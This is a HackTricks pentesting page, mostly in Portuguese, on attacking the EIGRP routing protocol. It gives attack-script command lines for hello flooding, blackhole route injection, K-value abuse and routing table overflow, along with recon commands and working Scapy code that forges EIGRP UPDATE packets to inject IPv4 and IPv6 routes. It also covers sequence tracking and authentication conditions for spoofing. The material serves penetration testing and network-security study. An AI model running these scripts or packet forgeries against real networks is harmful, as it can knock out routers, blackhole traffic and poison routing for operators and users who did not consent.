EIGRP Attacks

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Support HackTricks

Este é um resumo dos ataques expostos em https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9. Consulte-o para mais informações.

Fake EIGRP Neighbors Attack

  • Objetivo: Sobrecarregar as CPUs dos roteadores enchendo-os com pacotes HELLO do EIGRP, potencialmente levando a um ataque de Negação de Serviço (DoS).
  • Ferramenta: script helloflooding.py.
  • Execução:
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
  • Parâmetros:
  • --interface: Especifica a interface de rede, por exemplo, eth0.
  • --as: Define o número do sistema autônomo EIGRP, por exemplo, 1.
  • --subnet: Define a sub-rede, por exemplo, 10.10.100.0/24.

EIGRP Blackhole Attack

  • Objetivo: Interromper o fluxo de tráfego da rede injetando uma rota falsa, levando a um blackhole onde o tráfego é direcionado para um destino inexistente.
  • Ferramenta: script routeinject.py.
  • Execução:
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
  • Parâmetros:
  • --interface: Especifica a interface do sistema do atacante.
  • --as: Define o número do AS do EIGRP.
  • --src: Define o endereço IP do atacante.
  • --dst: Define o IP da sub-rede alvo.
  • --prefix: Define a máscara do IP da sub-rede alvo.

Abusing K-Values Attack

  • Objetivo: Criar interrupções contínuas e reconexões dentro do domínio EIGRP injetando K-values alterados, resultando efetivamente em um ataque DoS.
  • Ferramenta: script relationshipnightmare.py.
  • Execução:
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
  • Parâmetros:
  • --interface: Especifica a interface de rede.
  • --as: Define o número do AS do EIGRP.
  • --src: Define o endereço IP de um roteador legítimo.

Routing Table Overflow Attack

  • Objetivo: Sobrecarregar a CPU e a RAM do roteador inundando a tabela de roteamento com inúmeras rotas falsas.
  • Ferramenta: script routingtableoverflow.py.
  • Execução:
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
  • Parâmetros:
  • --interface: Especifica a interface de rede.
  • --as: Define o número do AS do EIGRP.
  • --src: Define o endereço IP do atacante.

Notas de Protocolo Úteis para Ataques

  • Pacotes HELLO carregam K-values e vizinhos só se formam quando correspondem. Esta é a base para ataques de mismatched K-values / interrupção de relacionamento e por que K-values incompatíveis impedem adjacência.
  • O PARAMETER TLV (Type 0x0001) em HELLO (e no UPDATE inicial) carrega K-values e Hold Time, então capturas passivas revelam os valores exatos usados no segmento.
  • EIGRP usa o protocolo IP 88, fazendo multicast para 224.0.0.10 em IPv4 e FF02::A em IPv6. Isso facilita identificá-lo com tcpdump 'ip proto 88 or ip6 proto 88' antes de tentar abuso ativo.
  • UPDATEs confiáveis são ordenados com campos de sequência / acknowledgement e SEQUENCE TLVs. A injeção cega de rotas por multicast pode funcionar em laboratórios fracos, mas ao emular um vizinho real você frequentemente precisa rastrear seq, ack e a lista de peers carregada nos SEQUENCE TLVs para permanecer sincronizado com a lógica RTP.

Recon Passivo Antes da Injeção

Antes de tentar injetar rotas, capture uma troca legítima HELLO / UPDATE e extraia:

  • Número do AS
  • K-values e Hold Time do PARAMETER TLV
  • Autenticação em uso: nenhuma, MD5, ou HMAC-SHA-256
  • Endereço de origem do vizinho e a sub-rede/interface onde o EIGRP está ativo
  • Perfil de Software / TLV (SOFTWARE_VERSION, STUB, SEQUENCE) para que seus pacotes forjados pareçam com os roteadores locais

Comandos úteis:

# Passive sniffing
sudo tcpdump -ni eth0 'ip proto 88 or ip6 proto 88'

# Quick discovery and route enumeration on IPv4
sudo nmap --script broadcast-eigrp-discovery

# If you already know the AS
sudo nmap --script broadcast-eigrp-discovery --script-args broadcast-eigrp-discovery.as=100

O broadcast-eigrp-discovery do Nmap funciona enviando um HELLO para 224.0.0.10 e analisando os pacotes UPDATE retornados, o que é útil para enumerar prefixos antes de tentar uma route injection mais intrusiva.

Criação de Pacotes com Scapy (Route Injection / Fake Neighbors)

O Scapy inclui uma camada contrib EIGRP com TLVs como EIGRPParam e EIGRPIntRoute, o que é suficiente para criar UPDATEs para route injection. Exemplo adaptado do script de route injection EIGRP davidbombal/scapy:

from scapy.all import *
load_contrib("eigrp")

sendp(Ether()/IP(src="192.168.1.248", dst="224.0.0.10") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPIntRoute(dst="192.168.100.0",
nexthop="192.168.1.248")]))

The same repo includes quick “fake neighbor” scripts that sniff a real EIGRP packet and replay it with a spoofed source IP to create phantom neighbors (useful for CPU/neighbor-table pressure).

Scapy also exposes primitives that are useful when you need higher-fidelity emulation instead of a single UPDATE:

  • EIGRPAuthData para adjacências autenticadas
  • EIGRPSeq para manipulação de sequence / conditional-receive
  • EIGRPStub para espelhar o comportamento de stub observado
  • EIGRPv6IntRoute / EIGRPv6ExtRoute para injeção de rotas IPv6

Isso importa porque a lógica de transporte confiável é frequentemente o que separa um PoC descartável de um fake neighbor que sobrevive tempo suficiente para aprender rotas e envenenar a topologia.

EIGRP para IPv6

EIGRP para IPv6 é uma address-family separada transportada sobre IPv6. Ainda usa o formato de pacote EIGRP / TLVs, mas é habilitado diretamente nas interfaces e envia multicast para FF02::A. Do ponto de vista ofensivo, isso significa que um segmento dual-stack pode expor uma superfície de ataque EIGRP mesmo quando o lado IPv4 parece limpo.

Importantes diferenças:

  • IPv6 EIGRP is enabled per interface (ipv6 eigrp <as>), not with IPv4-style network statements.
  • A router ID is still required, so sniffing an active segment usually reveals enough context to mimic a valid peer.
  • MD5 authentication exists for EIGRP for IPv6, and modern named mode deployments may also use HMAC-SHA-256, which blocks unauthenticated route injection.

Minimal Scapy example for IPv6 route injection:

from scapy.all import *
load_contrib("eigrp")

send(IPv6(src="fe80::250:56ff:feaa:1111", dst="ff02::a") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPv6IntRoute(dst="2001:db8:dead:beef::",
prefixlen=64,
nexthop="fe80::250:56ff:feaa:1111")]),
iface="eth0")

Se o next hop IPv6 dentro do route TLV for zerado, os receptores recorrem ao endereço IPv6 de origem no cabeçalho do pacote. Isso torna source spoofing e o endereçamento link-local correto especialmente importantes durante testes de EIGRPv6.

  • Scapy EIGRP contrib docs: https://scapy.readthedocs.io/en/latest/api/scapy.contrib.eigrp.html
  • Exemplos de scripts: https://github.com/davidbombal/scapy

Routopsy & Auxiliares do NSE

  • Routopsy constrói um laboratório de ataque com roteador virtual (FRRouting + Scapy) e inclui ataques DRP que você pode adaptar para testes de EIGRP. https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
  • O NSE do Nmap tem uma pequena biblioteca eigrp para analisar/gerar um subconjunto de pacotes EIGRP. https://nmap.org/nsedoc/lib/eigrp.html

Reconhecimento de Autenticação

  • O modo named do EIGRP suporta HMAC-SHA-256 authentication via authentication mode hmac-sha-256 .... Se habilitado, pacotes forjados devem ser autenticados com a chave correta; se não estiver habilitado, spoofing/injection é mais fácil de validar.
  • O RFC 7868 também define dados de MD5 e SHA2-256 authentication dentro do EIGRP AUTH TLV, por isso capturas passivas mostram rapidamente se um blind spoof é realista ou se primeiro você precisa do material de chave.
  • No EIGRP para IPv6, a Cisco também suporta MD5 authentication with key chains. Se múltiplas chaves com send/accept lifetimes estiverem configuradas, replaying stale authenticated traffic se torna menos confiável porque a chave ativa pode rotacionar sem alterar o resto do perfil de adjacency.

Referências

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Support HackTricks